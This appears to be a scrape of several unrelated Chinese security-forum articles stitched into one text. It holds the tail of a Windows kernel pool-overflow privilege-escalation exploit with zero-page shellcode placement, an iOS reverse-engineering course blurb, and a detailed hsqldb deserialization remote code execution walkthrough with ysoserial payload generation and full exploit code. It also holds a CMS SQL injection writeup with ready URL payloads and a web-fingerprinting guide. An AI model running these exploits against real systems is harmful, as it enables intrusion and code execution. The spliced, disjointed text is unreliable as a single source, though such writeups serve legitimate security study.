我们的最后目的是把`CloseProcedure`字段覆盖为指向shellcode的指针，因为在最后会调用这些函数，把这里覆盖自然也就可以执行我们的shellcode，我们希望这里能够将Event这个结构放在我们能够操控的位置，在
Windows 7 中我们知道是可以在用户模式下控制0页内存的，所以我们希望这里能够指到0页内存，所以我们想把`TypeIndex`从0xc修改为0x0，在
Windows 7
下`ObTypeIndexTable`的前八个字节始终为0，所以可以在这里进行构造，需要注意的是，这里我们需要申请0页内存，我们传入的第二个参数不能是0，如果是0系统就会随机给我们分配一块内存，我们希望的是分配0页，如果传入1的话由于内存对齐就可以申请到0页内存，然后就可以放入我们shellcode的位置了
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
*(FARPROC*)& NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return 0;
}
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
printf("[+]Success to alloc zero page...\n");
*(DWORD*)(0x60) = (DWORD)& ShellCode;
最后我们整合一下代码就可以提权了，总结一下步骤
* 初始化句柄等结构
* 构造池头结构
* 申请0页内存并放入shellcode位置
* 堆喷射构造间隙
* 调用`TriggerPoolOverflow`函数
* 关闭句柄
* 调用cmd提权
最后提权效果如下，详细代码参考[这里](https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/PoolOverflow/PoolOverflow/PoolOverflow.c)
# 0x03：后记
这里放一些调试的小技巧，以判断每一步是否正确，在`memcpy`处下断点，p单步运行可观察下一个池是否构造完成，`dd
0x0`观察0页内存查看0x60处的指针是否指向shellcode，在该处下断点运行可以观察到是否运行了我们的shellcode，源码中的调试就是用`__debugbreak()`下断点观察即可 | 社区文章 |
**作者** ：[Ivan Rodriguez](hhttps://ivrodriguez.com "Ivan Rodriguez")
**项目名称** ：Reverse Engineering iOS Applications
**项目地址** ：<https://github.com/ivRodriguezCA/RE-iOS-Apps>
这是谷歌安全工程师 Ivan Rodriguez
的一个关于iOS应用程序逆向工程的在线课程，这项课程完全免费、开源，将漏洞通过一个伪造的ios应用程序来进行展示。这些漏洞来源都是真实存在的，由安全研究人员在应用程序中发现并报告给相应公司获得了漏洞奖励，但因为大多公司禁止发布，因此大家很少看到。
本次课程学习主要通过5个模块，带领学习者从零开始到逆向App Store。
* * * | 社区文章 |
笔者打算从漏洞挖掘的角度分析hsqldb反序列化漏洞，这样可以解决payload为什么这么构造的问题，目前网上的一些分析大部分没有将具体的漏洞细节，更是没有分析到hsqldb的协议交互和payload构造。将解决问题的一些方法分享给大家。
# 0x01 环境搭建
老规矩还是先从调试环境搭建开始讲起。整个环境分为两大部分，一部分是tomcat运行hsqldb
web服务，另一部分是攻击代码。本小结重点分析第一部分hsqldb web服务的搭建工作。
## 0x1 导入 hsqldb 项目
从github上下载项目
`git clone
[https://github.com/BabyTeam1024/hsqldb_unserialize.git](https://github.com/BabyTeam1024/hsqldb_unserialize.git)`
导入的项目是hsqldb-source-master，该git项目中的test.java是后续将会分析到的利用代码。用Intellij
导入hsqldb项目，操作如下
选中文件夹后选择导入类型，这里选Maven
右键项目pom.xml文件利用Maven自动下载依赖jar包源码
源码导入到此结束
## 0x2 搭建tomcat
开始配置启动服务，这里需要使用tomcat 作为Web容器启动Web服务
在这之后通过intellij 向tomcat部署war包操作如下
配置完成后点击运行按钮
出现如下图内容说明配置完成
## 0x3 增加调试信息
在动态调试连接代码时发现直接引用的jar包不能进行调试，我们需要一些操作，把调试信息加进去。这里主要把前面tomcat项目运行时产生的hsqldb
class文件替换原有hsqldb.jar中的class文件。
mkdir test
cd test
cp ../hsqldb.jar ./
jar -xvf hsqldb.jar org/
cp -r ~/IdeaProjects/hsqldb_unserialize/hsqldb-source-master/target/classes/org ./
jar -uvf hsqldb.jar org
# 0x02 漏洞分析
从0到1，自己尝试下在不知道漏洞点和利用的情况下如何把这个漏洞挖出来。基本思路是先找出存在的反序列化点，其次分析这些反序列化点是如何被调用的。
## 0x1 寻找反序列化点
因为有hsqldb的java源代码，所以可以通过grep的方式搜索readObject在哪些文件中出现过。
看看这些readObject数据存不存在被我们控制的可能性。先从第一个java代码开始分析，从代码里看到objStream对象是从一个文件流中获取的数据，因为我们不在服务器底层，无法从http协议直接进行控制。放弃寻找下一个
针对TransferCommon.java代码采用同样的分析方式，在129行进行了反序列化操作，但是也是从文件流中获取的数据，我们无法直接控制，继续分析下一个。
根据其函数注释分析InOutUtil.java代码，了解到该函数功能是将传入的数据反序列化为一个对象，并返回。分析这个函数的可用性就要向上溯源找到deserialize的调用函数。下面的函数就不再一一分析，方法类似。
## 0x2 寻找触发路由
下面开始寻找InOutUtil.java中readObject函数的触发路由，首先在整个项目中全局搜索其调用函数。发现如下调用，跟上去看一看
首先看下方法描述，从实现 JDBC 接口的类调用此方法，用来将 **OTHER类型**
的值转换成另外一个类型。很明显是想通过反序列化实现类型转换。这里的OTHER类型将在后续分析到，是一个hsqldb自定义的类型。
继续搜索getObject函数的调用代码，有以下三处。
笔者分析到这里的时候尝试性的向上溯源发现了多个调用函数，一时半会没有捋清楚如何调用。于是就先放了放，打算编写数据库连接代码，分析在正常查询过程中hsqldb服务端这边是
**如何处理数据和分发路由的** ，带着这个问题开始接下来的分析。
## 0x3 构造连接查询代码
需要注意在运行时添加 hsqldb.jar 依赖库
首先利用create指令创建数据表之后用select进行查询
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class test {
public static void main(String[] args) throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
//statement.execute("create table example (id integer,name varchar(20)");//先创建数据表，再搜索
statement.execute("select * from example");
}
}
因为使用http协议发送的数据，所以在服务端存在接受POST或GET协议的相关代码，经过一番寻找最终找到了hsqldb自己实现的servlet，如下图所示
接着上一个小节讲，这里应该就是触发路由的入口点了，后面要想办法如何让数据走到之前分析的点即JavaObject的getObject方法。
## 0x4 hsqldb服务端数据处理
通过正常的select查询，调试服务端代码逻辑，方面后面漏洞利用构造相应的payload。直接使用上述客户端代码，执行以下SQL语句
statement.execute("select * from example");
### 1\. 数据格式解析
服务端首先接受POST传递过来的数据，进行格式解析，重点关注Result.read中的代码逻辑
inStream = new DataInputStream(request.getInputStream());
Result resultIn = Result.read(rowIn, inStream);
该方法实现如下图所示，主要从 **DataInput datain** 中读取数据并解析。
在创建Result对象的时候会进行相对应的数据提取，因这部分代码太长笔者选取了关键逻辑，代码如下
int length = datain.readInt(); // 协议长度
Result(RowInputBinary in) throws HsqlException {
try {
mode = in.readIntData(); //操作类型
...
databaseID = in.readIntData(); //数据库id
sessionID = in.readIntData(); //保持会话用的
switch (mode) {
....
case ResultConstants.SQLEXECDIRECT :
updateCount = in.readIntData();//0
statementID = in.readIntData();//0
mainString = in.readString();//执行的SQL语句
break;
case ResultConstants.ERROR :
case ResultConstants.SQLCONNECT :
mainString = in.readString();
subString = in.readString();
subSubString = in.readString();
statementID = in.readIntData();
break;
case ResultConstants.UPDATECOUNT :
...
default :
throw new HsqlException(
Trace.getMessage(
Trace.Result_Result, true, new Object[]{
new Integer(mode) }), null, 0);
}
} catch (IOException e) {
throw Trace.error(Trace.TRANSFER_CORRUPTED);
}
}
简单解读下，服务端把不同操作分为了不同的mode号，于是后台根据这个mode选择对应的分支进行处理。根据调试发现执行select、delete、call的mode号均为65547，这也意味着前期的解析操作是一模一样的。
### 2\. 简单分发
在Servlet主函数解析过POST数据后会调用session.execute函数进行第一步的分发操作。
sqlExecuteDirectNoPreChecks函数会根据传入的SQL语句执行相对应的处理流程。
### 3\. SQL语句格式解析
dbCommandInterpreter.execute函数会根据SQL查询语法生成对应的cmd id号
之后会执行executePart函数将id号和token传入其中，进行相应的分发，
详细分析executePart函数，返现其通过cmd的值进行分发，因为客户端执行的是Select语句所以这里走到了Token.SELECT分支。再之后会执行parser.compileSelectStatement函数编译select语句，session.sqlExecuteCompiledNoPreChecks会执行SQL语句
继续跟进该函数
executeImpl函数中有第三次路由分发，主要是根据查询语句的主操作函数比如SELECT、INSERT、UPDATE、DELETE等
private Result executeImpl(CompiledStatement cs) throws HsqlException {
switch (cs.type) {
case CompiledStatement.SELECT :
return executeSelectStatement(cs);
case CompiledStatement.INSERT_SELECT :
return executeInsertSelectStatement(cs);
case CompiledStatement.INSERT_VALUES :
return executeInsertValuesStatement(cs);
case CompiledStatement.UPDATE :
return executeUpdateStatement(cs);
case CompiledStatement.DELETE :
return executeDeleteStatement(cs);
case CompiledStatement.CALL :
return executeCallStatement(cs);
case CompiledStatement.DDL :
return executeDDLStatement(cs);
default :
throw Trace.runtimeError(
Trace.UNSUPPORTED_INTERNAL_OPERATION,
"CompiledStatementExecutor.executeImpl()");
}
}
分析到这个程度可以先停一停，回想下我们为什么要分析这个，想想我们的初心是什么。我们整理下服务端的数据处理流程，大图预警
总的来说在整个SQL语句处理执行过程中大概经历了三次路由分发，让不同的查询操作走了不同的代码分支，其中有对操作指令的识别也有对查询参数的识别，最后代码执行到executeSelectStatement函数进行最后的处理。
## 0x5 再出发，继续寻找触发路由
**我们要寻找如何才能执行到JavaObject.getObject函数**
首先我们看看Function.java中的函数是如何调用的
private Object[] getArguments(Session session) throws HsqlException {
int i = bConnection ? 1: 0;
Object[] oArg = new Object[iArgCount];
for (; i < iArgCount; i++) {
Expression e = eArg[i];
Object o = null;
if (e != null) {
o = e.getValue(session, iArgType[i]);//这里又是在干什么
}
if ((o == null) &&!bArgNullable[i]) {
return null;
}
if (o instanceof JavaObject) {
o = ((JavaObject) o).getObject();// 这里可以触发反序列化
} else if (o instanceof Binary) {
o = ((Binary) o).getBytes();//这里呢？
}
oArg[i] = o;
}
return oArg;
}
继续搜索getArguments函数被谁调用过
通过搜索分析找到了调用者为getValue函数并传入的参数类型为Session，继续搜索getValue的调用函数
比较有意思的是最后的调用函数为 **executeCallStatement**
，这就和之前分析的hsqldb服务端数据处理过程对应上了。当时以SELECT查询语句为例，最后的调用函数为
**executeSelectStatement，** 因此追溯到这里我们已经知道如何触发该漏洞了，答案就是使用CALL指令的SQL语句就可以走到
**executeCallStatement** 处理分支，使用类似于下面的代码进行触发。
statement.execute("call xxxx");
# 0x03 漏洞利用
之前分析到触发漏洞需要执行call指令，但是不知道具体要执行什么SQL语句。本小节就要带着大家一起完成最后的Payload构造工作。
## 0x1 如何构造exp - 确定格式
当客户端执行 statement.execute("call xxxx"); 语句时，在服务端会报如下错误
笔者顺着代码逻辑找到最后崩溃的地方，在执行 **executeCallStatement**
函数的时候tableFilter的值为null，要继续分析找到其中的原因。
因为 **executeCallStatement** 函数为最终的处理函数，因此向上溯源找到了参数解析函数，在其中找到了猫腻，下面是参数解析函数的主逻辑
private void read() throws HsqlException {
sToken = tokenizer.getString();//
wasQuoted = tokenizer.wasQuotedIdentifier();
if (tokenizer.wasValue()) { //是否是值
iToken = Expression.VALUE;
oData = tokenizer.getAsValue();
iType = tokenizer.getType();
} else if (tokenizer.wasSimpleName()) {//是否是普通名称
iToken = Expression.COLUMN;
sTable = null;
} else if (tokenizer.wasLongName()) {//是否是长的名称
sSchema = tokenizer.getLongNamePre();
sTable = tokenizer.getLongNameFirst();
if (sToken.equals(Token.T_MULTIPLY)) {
iToken = Expression.MULTIPLY;
} else {
iToken = Expression.COLUMN;
}
} else if (tokenizer.wasParameter()) {//是否是参数
iToken = Expression.PARAM;
} else if (sToken.length() == 0) {
iToken = Expression.END;
} else {
iToken = tokenSet.get(sToken, -1);
if (iToken == -1) {
iToken = Expression.END;
}
当判断参数的时候会根据参数的类型给iToken赋值，而tokenizer的各种类型判断是根据iType值所确定的。iType的值是在上述代码的第二行getString（该函数主要处理判断操作符后面的内容是什么类型）函数里确定的。
逻辑可能会比较乱，稍微捋一捋，简单来讲执行"call xxxx"
SQL语句时会对xxxx进行参数类型解析，解析后的值会赋值给iType，在之后通过tokenizer.wasXXX函数会获取到iType的值进行判断，把相对应的类型值赋值给iToken。之后就到了下面这个逻辑中
如果iToken等于Expression.OPEN则会进入一个关键的if分支，这时的iToken值必须等于101，101就是Expression.PARAM，这就意味着call
后面的参数格式必须符合（关于这个的分析可以参考Tokenizer.java::781代码，这里就不展开分析了）
call "a.b.c"('x');
## 0x2 如何构造exp - 确定内容
### 1\. 确定函数名
有了上面分析到的格式，再通过客户端发送过去，服务端将会报如下错误。很明显没有这个类，需要找一个JVM环境中存在的类名。
现在hsqldb中随便找个类和方法调用下试试看，这里的方法必须是 **公有静态** 方法，因为有以下判断逻辑。
只有匹配到的类中的public方法以及确定是static后，才能给mMethod赋值。随便找了个类方法
org.hsqldb.lib.MD5::digestString试了下
call "org.hsqldb.lib.MD5.digestString"('x');
### 2\. 确定参数内容
发现并没有走到 **那个可以触发反序列化的getObject**
方法。观察发现第一个红线返回的是String类型，那么将不会进入getObject方法。我们需要继续调试代码确定选择什么函数才能进入该分支实现数据的反序列。
继续分析其中的原因，在hsqldb获取到digestString方法后会获取其参数类型赋值给iArgType，相关代码如下
关于参数类型的判断如下图所示，测试发现String类型为12，数组类型为OTHER(1111)
如果type==12 有一个非常严重的问题，在getVaule的时候dataType恒等于type这样就会返回String型
当时想到的解决办法就是让type不等于12。那就找个参数不是String类型的Public
Static方法试一试。测试下面方法，但因为CachedRow类型参数不和法没有过检验，找个其他类型的试试
statement.execute("call \"org.hsqldb.rowio.RowOutputBinary.getRowSize\"('x');");
经过测试InputStream、Table也不行，还是根据代码逻辑分析下比较好，找到具体什么类型才满足条件。经过调试发现除了String类型还有很多在表里的类型，但是结合Column的convertObject方法，必须要让payload在类型转换时将类型变为JavaObject才满足条件，结合这两点看下图。
只能当类型为OTHER时输入的数据才能被封装为JavaObject类型，那么剩下的工作就是如何让数据类型变为OTHER
根据他的生成算法，要选择在objectKeyTable中没有的类型并且该类型必须继承Serializable
### 3\. 必须满足的条件
总结一下如果要从参数解析触发反序列化漏洞必须满足以下条件
* 用call方法
* call调用方法必须是public static
* call调用方法的参数不能在列表中且必须继承Serializable
满足以上条件即可触发漏洞，笔者找了以下几个类
call "org.hsqldb.HsqlDateTime.resetToTime"('payload'); //Calendar 类型
call "org.hsqldb.HsqlDateTime.getTimestampString"('2011-01-01','payload')//参数二 Calendar 类型
call "org.hsqldb.lib.ArrayUtil.haveEqualArrays"('payload')// int[]类型
call "org.hsqldb.lib.ArrayCounter.rank"('payload')// int[]类型
call "org.hsqldb.WebServer.main"('payload')// String[]类型
### 4\. 另外一种可能性
满足条件的很多，这里就不列举了。通过分析也找到了另外一种调用方式，即使call调用方法的参数在列表中也可以触发反序列化漏洞，这是因为call本身就可以调用任意类public
static函数中的。然而我们的readObject函数本身就在一个public static函数中，如下图所示
根据分析，我们只需执行，就可以触发漏洞
call "org.hsqldb.lib.InOutUtil.deserialize"('payload')// byte[]类型
## 0x3 生成payload
利用 ysoserial CommonsCollections6 触发连生成payload
`java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections6 "touch
/tmp/123123" > /tmp/calc.ser`
## 0x4 编写利用代码
1. Java Hex 编码需要下载commons.codec依赖包
<https://commons.apache.org/proper/commons-codec/download_codec.cgi>
2. 运行时添加 hsqldb.jar 依赖库
用intellij 运行以下代码即可实现反序列化漏洞
import org.apache.commons.codec.binary.Hex;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.sql.Statement;
public class testjava {
public static void main(String[] args) throws IOException, ClassNotFoundException, SQLException {
String url = "http://localhost:8080";
String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("/tmp/calc.ser")));
System.out.println(payload);
String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";
Class.forName("org.hsqldb.jdbcDriver");
Connection connection = DriverManager.getConnection(dburl, "sa", "");
Statement statement = connection.createStatement();
statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");
statement.execute("call \"org.hsqldb.HsqlDateTime.getTimestampString\"('2011-01-01','" + payload + "');");
}
}
在序列化及反序列化过程中，如果禁用了不安全类的序列化操作，那么就会在序列化过程中抛出UnsupportedOperationException。可以通过设置org.apache.commons.collections.enableUnsafeSerialization为true关闭该检测。
# 0x04 总结
通过分析复现hsqldb反序列化漏洞，掌握了hsqldb的数据格式解析过程，从0到1的完成了漏洞点发现、调用路由梳理、exp构造、payload生成，较为全面的分析了反序列化漏洞在hsqldb中的利用方式。关于hsqldb还有很多相关的漏洞要分析，笔者留着以后填坑。
# 参考文章
<https://swarm.ptsecurity.com/rce-in-f5-big-ip/>
<https://paper.seebug.org/1271/>
<http://b1ue.cn/archives/458.html> | 社区文章 |
和thinkphp3.2.3的exp注入类似。
# payload
http://php.local/public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) -- +
还有多个模块均存在注入
# 分析
\app\home\controller\Index::bind_follow()
uid直接通过`I()`获取
<?php
function I($name, $default = '', $filter = null, $datas = null)
{
return input($name, $default, $filter);
}
然后经过 `wp_where()` -> `where()` -> `find()`函数
<?php
$info = M('user_follow')->where(wp_where($map))->find();
跟进 `wp_where()`
<?php
function wp_where($field)
{
if (!is_array($field)) {
return $field;
}
$res = [];
foreach ($field as $key => $value) {
if (is_numeric($key) || (is_array($value) && count($value) == 3)) {
if (strtolower($value[1]) == 'exp' && !is_object($value[2])) {
$value[2] = Db::raw($value[2]);
}
$res[] = $value;
} elseif (is_array($value)) {
if (strtolower($value[0]) == 'exp' && !is_object($value[1])) {
$value[1] = Db::raw($value[1]);
}
$res[] = [
$key,
$value[0],
$value[1]
];
} else {
$res[] = [
$key,
'=',
$value
];
}
}
// dump($res);
return $res;
}
在elseif语句中，如果传入的字段是数组，并且下标为0的值为exp，那么会执行 `Db::raw()`来进行表达式查询
跟进 `Db::raw()` 进入到 `\think\Db::__callStatic`，`$method`为 `raw()`
<?php
public static function __callStatic($method, $args)
{
return call_user_func_array([static::connect(), $method], $args);
}
call_user_func_array回调`[static::connect(),$method]`，跟进`static::connect()`
<?php
public static function connect($config = [], $name = false, $query = '')
{
// 解析配置参数
$options = self::parseConfig($config ?: self::$config);
$query = $query ?: $options['query'];
// 创建数据库连接对象实例
self::$connection = Connection::instance($options, $name);
return new $query(self::$connection);
}
返回的是`\think\db\Query`类，那么call_user_func_array回调的就是`\think\db\Query`类下的 `raw()`
方法。
继续跟进
<?php
//\think\db\Query::raw
public function raw($value)
{
return new Expression($value);
}
发现返回的是一个表达式，最后`wp_where()`返回`res`
进入到where()
<?php
public function where($field, $op = null, $condition = null)
{
$param = func_get_args();
array_shift($param);
return $this->parseWhereExp('AND', $field, $op, $condition, $param);
}
进入`parseWhereExp()`
<?php
protected function parseWhereExp($logic, $field, $op, $condition, array $param = [], $strict = false)
{
...省略
if ($field instanceof Expression) {
return $this->whereRaw($field, is_array($op) ? $op : [], $logic);
} elseif ($strict) {
// 使用严格模式查询
$where = [$field, $op, $condition, $logic];
} elseif (is_array($field)) {
// 解析数组批量查询
return $this->parseArrayWhereItems($field, $logic);
}
...省略
return $this;
}
满足elseif是数组条件，进入到 `parseArrayWhereItems()`
<?php
protected function parseArrayWhereItems($field, $logic)
{
if (key($field) !== 0) {
$where = [];
foreach ($field as $key => $val) {
if ($val instanceof Expression) {
$where[] = [$key, 'exp', $val];
} elseif (is_null($val)) {
$where[] = [$key, 'NULL', ''];
} else {
$where[] = [$key, is_array($val) ? 'IN' : '=', $val];
}
}
}
else {
// 数组批量查询
$where = $field;
}
if (!empty($where)) {
$this->options['where'][$logic] = isset($this->options['where'][$logic]) ? array_merge($this->options['where'][$logic], $where) : $where;
}
return $this;
}
合并where条件之后返回`$this`，然后进入到find()函数
<?php
public function find($data = null)
{
if ($data instanceof Query) {
return $data->find();
} elseif ($data instanceof \Closure) {
$data($this);
$data = null;
}
$this->parseOptions();
if (!is_null($data)) {
// AR模式分析主键条件
$this->parsePkWhere($data);
}
$this->options['data'] = $data;
$result = $this->connection->find($this);
if ($this->options['fetch_sql']) {
return $result;
}
// 数据处理
if (empty($result)) {
return $this->resultToEmpty();
}
if (!empty($this->model)) {
// 返回模型对象
$this->resultToModel($result, $this->options);
} else {
$this->result($result);
}
return $result;
}
进入`$this->connection->find($this)`
<?php
public function find(Query $query)
{
// 分析查询表达式
$options = $query->getOptions();
$pk = $query->getPk($options);
$data = $options['data'];
$query->setOption('limit', 1);
...
$query->setOption('data', $data);
// 生成查询SQL
$sql = $this->builder->select($query);
$query->removeOption('limit');
$bind = $query->getBind();
if (!empty($options['fetch_sql'])) {
// 获取实际执行的SQL语句
return $this->getRealSql($sql, $bind);
}
// 事件回调
$result = $query->trigger('before_find');
if (!$result) {
// 执行查询
$resultSet = $this->query($sql, $bind, $options['master'], $options['fetch_pdo']);
if ($resultSet instanceof \PDOStatement) {
// 返回PDOStatement对象
return $resultSet;
}
$result = isset($resultSet[0]) ? $resultSet[0] : null;
}
...
return $result;
}
在`$this->builder->select($query)`生成SQL语句，带入恶意SQL
造成注入。
# 影响范围
所有使用了 `wp_where()` 函数并且参数可控的SQL查询均受到影响，前台后台均存在注入。
需要登录的点可以配合之前写的《某cms审计之部分页面未授权访问》利用POST来绕过登录进行注入。
比如
http://php.local/public/index.php/weixin/message/_send_by_group
POST:group_id[0]=exp&group_id[1]=) and updatexml(1,concat(0x7e,user(),0x7e),1) --
**文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。** | 社区文章 |
# Web指纹识别技术研究与优化实现
##### 译文声明
本文是翻译文章，文章原作者 TideSec，文章来源：github.com/TideSec
原文地址：<https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md>
译文仅供参考，具体内容表达以及含义原文为准。
本文作者：TIde安全团队重剑无锋，转载请申明出处。<https://github.com/TideSec/TideFinger>
本文通过分析web指纹的检测对象、检测方法、检测原理及常用工具，设计了一个简易的指纹搜集脚本来协助发现新指纹，并提取了多个开源指纹识别工具的规则库并进行了规则重组，开发了一个简单快捷的指纹识别小工具TideFinger，并实现了一套在线的指纹识别平台“潮汐指纹”，希望能为大家带来方便。
## 前言
在web渗透过程中，Web指纹识别是信息收集环节中一个比较重要的步骤，通过一些开源的工具、平台或者手工检测CMS系统是公开的CMS程序还是二次开发至关重要，能准确的获取CMS类型、Web服务组件类型及版本信息可以帮助安全工程师快速有效的去验证已知漏洞。
在指纹识别的学习过程中，借用了很多开源的工具和指纹库，如fofa、WhatWeb、w11scan、WebEye、御剑等等，在此感谢各种大佬的无私奉献。本文并无技术上的创新和突破，只是把一些指纹库重新进行了整合和梳理并进行了开源。
tips：文末有福利我们将搜集到的一些指纹工具、指纹库等资料打包供大家下载
## 常见指纹检测的对象
1、CMS信息：比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等；
2、前端技术：比如HTML5、jquery、bootstrap、pure、ace等；
3、Web服务器：比如Apache、lighttpd, Nginx, IIS等；
4、应用服务器：比如Tomcat、Jboss、weblogic、websphere等；
5、开发语言：比如PHP、Java、Ruby、Python、C#等；
6、操作系统信息：比如linux、win2k8、win7、kali、centos等；
7、CDN信息：是否使用CDN，如cloudflare、360cdn、365cyd、yunjiasu等；
8、WAF信息：是否使用waf，如Topsec、Jiasule、Yundun等；
9、IP及域名信息：IP和域名注册信息、服务商信息等；
10、端口信息：有些软件或平台还会探测服务器开放的常见端口。
## 常见的指纹识别方式
1、特定文件的MD5
一些网站的特定图片文件、js文件、CSS等静态文件，如favicon.ico、css、logo.ico、js等文件一般不会修改，通过爬虫对这些文件进行抓取并比对md5值，如果和规则库中的Md5一致则说明是同一CMS。这种方式速度比较快，误报率相对低一些，但也不排除有些二次开发的CMS会修改这些文件。
[](https://github.com/TideSec/TideFinger/blob/master/images/001.png)
2、正常页面或错误网页中包含的关键字
先访问首页或特定页面如robots.txt等，通过正则的方式去匹配某些关键字，如Powered by Discuz、dedecms等。
或者可以构造错误页面，根据报错信息来判断使用的CMS或者中间件信息，比较常见的如tomcat的报错页面。
[](https://github.com/TideSec/TideFinger/blob/master/images/002.png)
3、请求头信息的关键字匹配
根据网站response返回头信息进行关键字匹配，whatweb和Wappalyzer就是通过banner信息来快速识别指纹，之前fofa的web指纹库很多都是使用的这种方法，效率非常高，基本请求一次就可以，但搜集这些规则可能会耗时很长。而且这些banner信息有些很容易被改掉。
根据response header一般有以下几种识别方式：
* 查看http响应报头的X-Powered-By字段来识别；
* 根据Cookies来进行判断，比如一些waf会在返回头中包含一些信息，如360wzws、Safedog、yunsuo等；
* 根据header中的Server信息来判断，如DVRDVS-Webs、yunjiasu-nginx、Mod_Security、nginx-wallarm等；
* 根据WWW-Authenticate进行判断，一些路由交换设备可能存在这个字段，如NETCORE、huawei、h3c等设备。
[](https://github.com/TideSec/TideFinger/blob/master/images/004.png)
4、部分URL中包含的关键字，比如wp-includes、dede等URL关键特征
通过规则库去探测是否有相应目录，或者根据爬虫结果对链接url进行分析，或者对robots.txt文件中目录进行检测等等方式，通过url地址来判别是否使用了某CMS，比如wordpress默认存在wp-includes和wp-admin目录，织梦默认管理后台为dede目录，solr平台可能使用/solr目录，weblogic可能使用wls-wsat目录等。
[](https://github.com/TideSec/TideFinger/blob/master/images/003.png)
5、开发语言的识别
web开发语言一般常见的有PHP、jsp、aspx、asp等，常见的识别方式有：
* 通过爬虫获取动态链接进行直接判断是比较简便的方法。
asp判别规则如下<a[^>]*?href=(‘|”)[^http][^>]*?\\.asp(\?|\\#|\1)，其他语言可替换相应asp即可。
* 通过X-Powered-By进行识别
比较常见的有X-Powered-By: ASP.NET或者X-Powered-By: PHP/7.1.8
* 通过Set-Cookie进行识别
这种方法比较常见也很快捷，比如Set-Cookie中包含PHPSSIONID说明是php、包含JSESSIONID说明是java、包含ASP.NET_SessionId说明是aspx等。
## 指纹识别工具
在研究指纹识别技术的时候，不可避免的分析了大量指纹识别工具，在此将自己用过的几个感觉不错的工具和平台介绍一下。
###
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#%E5%9B%BD%E5%A4%96%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7)国外指纹识别工具
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#whatweb%E6%8E%A8%E8%8D%90%E6%8C%87%E6%95%B0)**WhatWeb（推荐指数★★★★★）**
下载地址：<https://github.com/urbanadventurer/WhatWeb>
Whatweb 是一个开源的网站指纹识别软件，拥有超过1700+个插件，它能识别的指纹包括 cms 类型、博客平台、网站流量分析软件、javascript
库、网站服务器，还可以识别版本号、邮箱地址、账户 id、web 框架模块等。
Whatweb 是基于 ruby 语言开发，因此可以安装在具备 ruby 环境的系统中，目前支持 Windows/Mac OSX/Linux。
在debian/ubuntu系统下可直接apt-get install whatweb,kali已自带。
使用非常简单whatweb [http://www.tidesec.net即可，也可以加参数-v显示更详细的信息。](http://www.tidesec.xn--net%2C-v-e67iw9a45d14khoch1auqc0219brzqeedv7d0w1isllbm2a867d./)
[](https://github.com/TideSec/TideFinger/blob/master/images/005.png)
[](https://github.com/TideSec/TideFinger/blob/master/Web%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E6%8A%80%E6%9C%AF%E7%A0%94%E7%A9%B6%E4%B8%8E%E4%BC%98%E5%8C%96%E5%AE%9E%E7%8E%B0.md#wapplyzer%E6%8E%A8%E8%8D%90%E6%8C%87%E6%95%B0)**Wapplyzer（推荐指数★★★★）**
下载地址：<https://github.com/AliasIO/Wappalyzer>
Wappalyzer
是一个实用的跨平台网站分析工具，用于帮助开发者、研究者和设计者检测网页使用的是什么技术，以更好地衡量自己的项目中该使用什么技术。Wappalyzer
的功能和 BuiltWith 类似，可检测内容管理系统（CMS），电子商务平台、Web服务器、JavaScript框架和已安装的分析工具等。
Wappalyzer可直接在chrome或火狐的应用商城直接搜索安装。Wappalyzer目前可识别65个大类的1216个应用，查看可检测的应用程序列表：<https://wappalyzer.com/applications>
[](https://github.com/TideSec/TideFinger/blob/master/images/006.png)
